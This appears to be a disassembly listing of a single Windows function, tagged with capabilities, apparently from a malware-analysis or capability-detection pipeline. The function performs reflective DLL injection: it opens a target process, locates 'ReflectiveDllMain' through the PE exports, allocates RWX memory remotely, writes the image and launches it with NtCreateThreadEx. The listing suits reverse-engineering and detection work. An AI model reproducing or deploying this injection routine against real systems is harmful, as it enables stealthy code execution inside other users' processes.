Function at 0x401a50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x10], eax
mov ebx, ecx
lea eax, [ebp - 0xc]
mov dword [ebp - 0x14], ebx
push eax
mov edi, edx
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
je 0x401af7
cmp dword [ebp - 0xc], 0
je 0x401af7
push ebx
push 0
push 0x1000
call eax
mov esi, eax
test esi, esi
je 0x401cf8
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x401ad2
xor ebx, ebx
mov dword [ebp - 0x18], 1
cmp dword [ebp - 8], ebx
sete bl
jmp 0x401ad5
mov ebx, dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x18], 0
je 0x401cf8
cmp ebx, 1
je 0x401cf8
mov ebx, dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
push ebx
push 0
push 0x43a
call eax
mov dword [ebp - 0x18], eax
test eax, eax
je 0x401cf8
push 0
push 4
lea ecx, [ebp - 0x14]
push ecx
push 0x1d
push eax
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x401cdb
cmp dword [ebp - 0x14], 0
jne 0x401cdb
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0xc]
call fcn.00401990
test eax, eax
je 0x401cdb
cmp dword [ebp - 0xc], 0x2000
jb 0x401cdb
mov edx, dword [edi + 0x3c]
mov eax, 0x10b
cmp word [edx + edi + 0x18], ax
jne 0x401cdb
mov edx, dword [edx + edi + 0x78]
mov ecx, edi
call fcn.00401d10
mov edx, dword [edi + eax + 0x20]
mov ecx, edi
lea esi, [edi + eax]
mov dword [ebp - 8], esi
call fcn.00401d10
mov edx, dword [esi + 0x24]
mov ecx, edi
lea ebx, [edi + eax]
call fcn.00401d10
add eax, edi
xor esi, esi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x18], esi
jbe 0x401cdb
nop
mov edx, dword [ebx]
mov ecx, edi
call fcn.00401d10
add eax, edi
push str.ReflectiveDllMain
push eax
call fcn.004033e0
add esp, 8
test eax, eax
mov eax, dword [ebp - 8]
jne 0x401bea
add dword [ebp - 0xc], 2
inc esi
add ebx, 4
cmp esi, dword [eax + 0x18]
jb 0x401ba0
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004026f1
mov esp, ebp
pop ebp
ret
mov edx, dword [eax + 0x1c]
mov ecx, edi
call fcn.00401d10
mov ecx, dword [ebp - 0xc]
add eax, edi
movzx edx, word [ecx]
mov ecx, edi
mov edx, dword [eax + edx*4]
call fcn.00401d10
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401cdb
mov ebx, dword [ebp - 0x18]
push 0x40
push 0x3000
push dword [ebp - 0x10]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x401cdb
push 0
push dword [ebp - 0x10]
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401cdb
push 0x418fe8
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401c6d
push str.NtCreateThreadEx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
jmp 0x401c6f
xor ecx, ecx
mov eax, dword [ebp - 0xc]
push 0
push 0
push 0
push 0
push 0
push esi
add eax, esi
push eax
push ebx
push 0
push 0x1fffff
lea eax, [ebp - 8]
push eax
call ecx
test eax, eax
js 0x401cdb
mov eax, dword [ebp - 8]
test eax, eax
je 0x401cdb
cmp dword [ebp + 0xc], 0
je 0x401ca8
mov dword [ebp - 0x1c], 1
jmp 0x401cd4
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x401cd1
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x401cd1
xor eax, eax
cmp dword [ebp - 0x10], eax
setne al
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004026f1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004026f1
mov esp, ebp
pop ebp
ret